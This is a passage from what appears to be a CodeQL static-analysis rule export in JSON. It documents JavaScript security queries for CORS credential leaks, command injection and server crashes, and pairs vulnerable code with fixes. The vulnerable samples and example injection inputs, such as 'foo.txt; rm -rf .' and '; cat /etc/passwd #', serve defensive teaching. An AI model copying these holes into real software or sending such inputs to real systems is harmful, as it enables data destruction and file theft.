GOOD: the origin is in the whitelist\n        res.setHeader(\"Access-Control-Allow-Origin\", origin);\n        res.setHeader(\"Access-Control-Allow-Credentials\", true);\n    }\n\n    // ...\n});\n\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials).\n* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources)\n* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html).\n* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n","markdown":"# CORS misconfiguration for credentials transfer\nA server can send the `\"Access-Control-Allow-Credentials\"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests.\n\nWhen the `Access-Control-Allow-Credentials` header is `\"true\"`, the `Access-Control-Allow-Origin` header must have a value different from `\"*\"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `\"Access-Control-Allow-Origin\"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to.\n\n\n## Recommendation\nWhen the `Access-Control-Allow-Credentials` header value is `\"true\"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input.\n\nSince the `\"null\"` origin is easy to obtain for an attacker, it is never safe to use `\"null\"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `\"true\"`.\n\n\n## Example\nIn the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request.\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin;\n     // BAD: attacker can choose the value of origin\n    res.setHeader(\"Access-Control-Allow-Origin\", origin);\n    res.setHeader(\"Access-Control-Allow-Credentials\", true);\n\n    // ...\n});\n\n```\nThis is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue:\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin,\n        whitelist = {\n            \"https://example.com\": true,\n            \"https://subdomain.example.com\": true,\n            \"https://example.com:1337\": true\n        };\n\n    if (origin in whitelist) {\n        // GOOD: the origin is in the whitelist\n        res.setHeader(\"Access-Control-Allow-Origin\", origin);\n        res.setHeader(\"Access-Control-Allow-Credentials\", true);\n    }\n\n    // ...\n});\n\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials).\n* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources)\n* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html).\n* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n"},"properties":{"tags":["security","external/cwe/cwe-346","external/cwe/cwe-639","external/cwe/cwe-942"],"description":"Misconfiguration of CORS HTTP headers allows for leaks of secret credentials.","id":"js/cors-misconfiguration-for-credentials","kind":"path-problem","name":"CORS misconfiguration for credentials transfer","precision":"high","problem.severity":"error","security-severity":"7.5"}},{"id":"js/second-order-command-line-injection","name":"js/second-order-command-line-injection","shortDescription":{"text":"Second order command injection"},"fullDescription":{"text":"Using user-controlled data as arguments to some commands, such as git clone, can allow arbitrary commands to be executed."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Second order command injection\nSome shell commands, like `git ls-remote`, can execute arbitrary commands if a user provides a malicious URL that starts with `--upload-pack`. This can be used to execute arbitrary code on the server.\n\n\n## Recommendation\nSanitize user input before passing it to the shell command. For example, ensure that URLs are valid and do not contain malicious commands.\n\n\n## Example\nThe following example shows code that executes `git ls-remote` on a URL that can be controlled by a malicious user.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // NOT OK\n});\n\n```\nThe problem has been fixed in the snippet below, where the URL is validated before being passed to the shell command.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  if (!(remote.startsWith(\"git@\") || remote.startsWith(\"https://\"))) {\n    throw new Error(\"Invalid remote: \" + remote);\n  }\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // OK\n});\n\n```\n\n## References\n* Max Justicz: [Hacking 3,000,000 apps at once through CocoaPods](https://justi.cz/security/2021/04/20/cocoapods-rce.html).\n* Git: [Git - git-ls-remote Documentation](https://git-scm.com/docs/git-ls-remote/2.22.0#Documentation/git-ls-remote.txt---upload-packltexecgt).\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n","markdown":"# Second order command injection\nSome shell commands, like `git ls-remote`, can execute arbitrary commands if a user provides a malicious URL that starts with `--upload-pack`. This can be used to execute arbitrary code on the server.\n\n\n## Recommendation\nSanitize user input before passing it to the shell command. For example, ensure that URLs are valid and do not contain malicious commands.\n\n\n## Example\nThe following example shows code that executes `git ls-remote` on a URL that can be controlled by a malicious user.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // NOT OK\n});\n\n```\nThe problem has been fixed in the snippet below, where the URL is validated before being passed to the shell command.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  if (!(remote.startsWith(\"git@\") || remote.startsWith(\"https://\"))) {\n    throw new Error(\"Invalid remote: \" + remote);\n  }\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // OK\n});\n\n```\n\n## References\n* Max Justicz: [Hacking 3,000,000 apps at once through CocoaPods](https://justi.cz/security/2021/04/20/cocoapods-rce.html).\n* Git: [Git - git-ls-remote Documentation](https://git-scm.com/docs/git-ls-remote/2.22.0#Documentation/git-ls-remote.txt---upload-packltexecgt).\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-078","external/cwe/cwe-088"],"description":"Using user-controlled data as arguments to some commands, such as git clone,\n              can allow arbitrary commands to be executed.","id":"js/second-order-command-line-injection","kind":"path-problem","name":"Second order command injection","precision":"high","problem.severity":"error","security-severity":"7.0"}},{"id":"js/shell-command-injection-from-environment","name":"js/shell-command-injection-from-environment","shortDescription":{"text":"Shell command built from environment values"},"fullDescription":{"text":"Building a shell command string with values from the enclosing environment may cause subtle bugs or vulnerabilities."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Shell command built from environment values\nDynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell.\n\nAlternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm -rf \" + path.join(__dirname, \"temp\");\n  cp.execSync(cmd); // BAD\n}\n\n```\nThe shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.\n\nFor instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process.\n\nEven worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm\",\n    args = [\"-rf\", path.join(__dirname, \"temp\")];\n  cp.execFileSync(cmd, args); // GOOD\n}\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n","markdown":"# Shell command built from environment values\nDynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell.\n\nAlternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm -rf \" + path.join(__dirname, \"temp\");\n  cp.execSync(cmd); // BAD\n}\n\n```\nThe shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.\n\nFor instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process.\n\nEven worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm\",\n    args = [\"-rf\", path.join(__dirname, \"temp\")];\n  cp.execFileSync(cmd, args); // GOOD\n}\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-078","external/cwe/cwe-088"],"description":"Building a shell command string with values from the enclosing\n              environment may cause subtle bugs or vulnerabilities.","id":"js/shell-command-injection-from-environment","kind":"path-problem","name":"Shell command built from environment values","precision":"high","problem.severity":"warning","security-severity":"6.3"}},{"id":"js/command-line-injection","name":"js/command-line-injection","shortDescription":{"text":"Uncontrolled command line"},"fullDescription":{"text":"Using externally controlled strings in a command line may allow a malicious user to change the meaning of the command."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Uncontrolled command line\nCode that passes untrusted user input directly to `child_process.exec` or similar APIs that execute shell commands allows the user to execute malicious code.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and that accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that the user input string is safe before using it.\n\n\n## Example\nThe following example shows code that extracts a filename from an HTTP query parameter that may contain untrusted data, and then embeds it into a shell command to count its lines without examining it first:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execSync(`wc -l ${file}`); // BAD\n});\n\n```\nA malicious user can take advantage of this code by executing arbitrary shell commands. For example, by providing a filename like `foo.txt; rm -rf .`, the user can first count the lines in `foo.txt` and subsequently delete all files in the current directory.\n\nTo avoid this catastrophic behavior, use an API such as `child_process.execFileSync` that does not spawn a shell by default:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execFileSync('wc', ['-l', file]); // GOOD\n});\n\n```\nIf you want to allow the user to specify other options to `wc`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url'),\n    shellQuote = require('shell-quote');\n\nvar server = http.createServer(function(req, res) {\n    let options = url.parse(req.url, true).query.options;\n\n    cp.execFileSync('wc', shellQuote.parse(options)); // GOOD\n});\n\n```\nAlternatively, the original example can be made safe by checking the filename against an allowlist of safe characters before using it:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    // only allow safe characters in file name\n    if (file.match(/^[\\w\\.\\-\\/]+$/)) {\n        cp.execSync(`wc -l ${file}`); // GOOD\n    }\n});\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n","markdown":"# Uncontrolled command line\nCode that passes untrusted user input directly to `child_process.exec` or similar APIs that execute shell commands allows the user to execute malicious code.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and that accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that the user input string is safe before using it.\n\n\n## Example\nThe following example shows code that extracts a filename from an HTTP query parameter that may contain untrusted data, and then embeds it into a shell command to count its lines without examining it first:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execSync(`wc -l ${file}`); // BAD\n});\n\n```\nA malicious user can take advantage of this code by executing arbitrary shell commands. For example, by providing a filename like `foo.txt; rm -rf .`, the user can first count the lines in `foo.txt` and subsequently delete all files in the current directory.\n\nTo avoid this catastrophic behavior, use an API such as `child_process.execFileSync` that does not spawn a shell by default:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execFileSync('wc', ['-l', file]); // GOOD\n});\n\n```\nIf you want to allow the user to specify other options to `wc`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url'),\n    shellQuote = require('shell-quote');\n\nvar server = http.createServer(function(req, res) {\n    let options = url.parse(req.url, true).query.options;\n\n    cp.execFileSync('wc', shellQuote.parse(options)); // GOOD\n});\n\n```\nAlternatively, the original example can be made safe by checking the filename against an allowlist of safe characters before using it:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    // only allow safe characters in file name\n    if (file.match(/^[\\w\\.\\-\\/]+$/)) {\n        cp.execSync(`wc -l ${file}`); // GOOD\n    }\n});\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-078","external/cwe/cwe-088"],"description":"Using externally controlled strings in a command line may allow a malicious\n              user to change the meaning of the command.","id":"js/command-line-injection","kind":"path-problem","name":"Uncontrolled command line","precision":"high","problem.severity":"error","security-severity":"9.8"}},{"id":"js/unnecessary-use-of-cat","name":"js/unnecessary-use-of-cat","shortDescription":{"text":"Unnecessary use of `cat` process"},"fullDescription":{"text":"Using the `cat` process to read a file is unnecessarily complex, inefficient, unportable, and can lead to subtle bugs, or even security vulnerabilities."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Unnecessary use of `cat` process\nUsing the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API.\n\nThe use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities.\n\n\n## Recommendation\nUse `fs.readFile` or `fs.readFileSync` to read files from the file system.\n\n\n## Example\nThe following example shows code that reads a file using `cat`:\n\n\n```javascript\nvar child_process = require('child_process');\n\nmodule.exports = function (name) {\n    return child_process.execSync(\"cat \" + name).toString();\n};\n\n```\nThe code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen.\n\nThe `fs.readFile` API should be used to avoid these potential issues:\n\n\n```javascript\nvar fs = require('fs');\n\nmodule.exports = function (name) {\n    return fs.readFileSync(name).toString();\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Node.js: [File System API](https://nodejs.org/api/fs.html).\n* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n","markdown":"# Unnecessary use of `cat` process\nUsing the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API.\n\nThe use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities.\n\n\n## Recommendation\nUse `fs.readFile` or `fs.readFileSync` to read files from the file system.\n\n\n## Example\nThe following example shows code that reads a file using `cat`:\n\n\n```javascript\nvar child_process = require('child_process');\n\nmodule.exports = function (name) {\n    return child_process.execSync(\"cat \" + name).toString();\n};\n\n```\nThe code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen.\n\nThe `fs.readFile` API should be used to avoid these potential issues:\n\n\n```javascript\nvar fs = require('fs');\n\nmodule.exports = function (name) {\n    return fs.readFileSync(name).toString();\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Node.js: [File System API](https://nodejs.org/api/fs.html).\n* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n"},"properties":{"tags":["correctness","security","maintainability","external/cwe/cwe-078"],"description":"Using the  `cat` process to read a file is unnecessarily complex, inefficient, unportable, and can lead to subtle bugs, or even security vulnerabilities.","id":"js/unnecessary-use-of-cat","kind":"problem","name":"Unnecessary use of `cat` process","precision":"high","problem.severity":"error","security-severity":"6.3"}},{"id":"js/shell-command-constructed-from-input","name":"js/shell-command-constructed-from-input","shortDescription":{"text":"Unsafe shell command constructed from library input"},"fullDescription":{"text":"Using externally controlled strings in a command line may allow a malicious user to change the meaning of the command."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Unsafe shell command constructed from library input\nDynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nAlternatively, if the command must be interpreted by a shell (for example because it includes I/O redirections), you can use `shell-quote` to escape any special characters in the input before embedding it in the command.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that downloads a file from a remote URL.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path, callback);\n}\n\n```\nThe shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell.\n\nEven worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.execFile(\"wget\", [path], callback);\n}\n\n```\nAs another example, consider the following code which is similar to the preceding example, but pipes the output of `wget` into `wc -l` to count the number of lines in the downloaded file.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path + \" | wc -l\", callback);\n};\n\n```\nIn this case, using `child_process.execFile` is not an option because the shell is needed to interpret the pipe operator. Instead, you can use `shell-quote` to escape the input before embedding it in the command:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + shellQuote.quote([path]) + \" | wc -l\", callback);\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n","markdown":"# Unsafe shell command constructed from library input\nDynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nAlternatively, if the command must be interpreted by a shell (for example because it includes I/O redirections), you can use `shell-quote` to escape any special characters in the input before embedding it in the command.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that downloads a file from a remote URL.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path, callback);\n}\n\n```\nThe shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell.\n\nEven worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.execFile(\"wget\", [path], callback);\n}\n\n```\nAs another example, consider the following code which is similar to the preceding example, but pipes the output of `wget` into `wc -l` to count the number of lines in the downloaded file.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path + \" | wc -l\", callback);\n};\n\n```\nIn this case, using `child_process.execFile` is not an option because the shell is needed to interpret the pipe operator. Instead, you can use `shell-quote` to escape the input before embedding it in the command:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + shellQuote.quote([path]) + \" | wc -l\", callback);\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-078","external/cwe/cwe-088"],"description":"Using externally controlled strings in a command line may allow a malicious\n              user to change the meaning of the command.","id":"js/shell-command-constructed-from-input","kind":"path-problem","name":"Unsafe shell command constructed from library input","precision":"high","problem.severity":"error","security-severity":"6.3"}},{"id":"js/server-crash","name":"js/server-crash","shortDescription":{"text":"Server crash"},"fullDescription":{"text":"A server that can be forced to crash may be vulnerable to denial-of-service attacks."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Server crash\nServers handle requests from clients until terminated deliberately by a server administrator. A client request that results in an uncaught server-side exception causes the current server response generation to fail, and should not have an effect on subsequent client requests.\n\nUnder some circumstances, uncaught exceptions can however cause the entire server to terminate abruptly. Such a behavior is highly undesirable, especially if it gives malicious users the ability to turn off the server at will, which is an efficient denial-of-service attack.\n\n\n## Recommendation\nEnsure that the processing of client requests can not cause uncaught exceptions to terminate the entire server abruptly.\n\n\n## Example\nThe following server code checks if a client-provided file path is valid before saving data to that path. It would be reasonable to expect that the server responds with an error in case the request contains an invalid file path. However, the server instead throws an exception, which is uncaught in the context of the asynchronous callback invocation (`fs.access(...)`). This causes the entire server to terminate abruptly.\n\n\n```javascript\nconst express = require(\"express\"),\n  fs = require(\"fs\");\n\nfunction save(rootDir, path, content) {\n  if (!isValidPath(rootDir, req.query.filePath)) {\n    throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server\n  }\n  // write content to disk\n}\n\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    if (err) {\n      console.error(\n        `Server setup is corrupted, ${rootDir} cannot be accessed!`\n      );\n      res.status(500);\n      res.end();\n      return;\n    }\n    save(rootDir, req.query.path, req.body);\n    res.status(200);\n    res.end();\n  });\n});\n\n```\nTo remedy this, the server can catch the exception explicitly with a `try/catch` block, and generate an appropriate error response instead:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    // ...\n    try {\n      save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n      res.status(200);\n      res.end();\n    } catch (e) {\n      res.status(500);\n      res.end();\n    }\n  });\n});\n\n```\nTo simplify exception handling, it may be advisable to switch to async/await syntax instead of using callbacks, which allows wrapping the entire request handler in a `try/catch` block:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", async (req, res) => {\n  try {\n    await fs.promises.access(rootDir);\n    save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n    res.status(200);\n    res.end();\n  } catch (e) {\n    res.status(500);\n    res.end();\n  }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n","markdown":"# Server crash\nServers handle requests from clients until terminated deliberately by a server administrator. A client request that results in an uncaught server-side exception causes the current server response generation to fail, and should not have an effect on subsequent client requests.\n\nUnder some circumstances, uncaught exceptions can however cause the entire server to terminate abruptly. Such a behavior is highly undesirable, especially if it gives malicious users the ability to turn off the server at will, which is an efficient denial-of-service attack.\n\n\n## Recommendation\nEnsure that the processing of client requests can not cause uncaught exceptions to terminate the entire server abruptly.\n\n\n## Example\nThe following server code checks if a client-provided file path is valid before saving data to that path. It would be reasonable to expect that the server responds with an error in case the request contains an invalid file path. However, the server instead throws an exception, which is uncaught in the context of the asynchronous callback invocation (`fs.access(...)`). This causes the entire server to terminate abruptly.\n\n\n```javascript\nconst express = require(\"express\"),\n  fs = require(\"fs\");\n\nfunction save(rootDir, path, content) {\n  if (!isValidPath(rootDir, req.query.filePath)) {\n    throw new Error(`Invalid filePath: 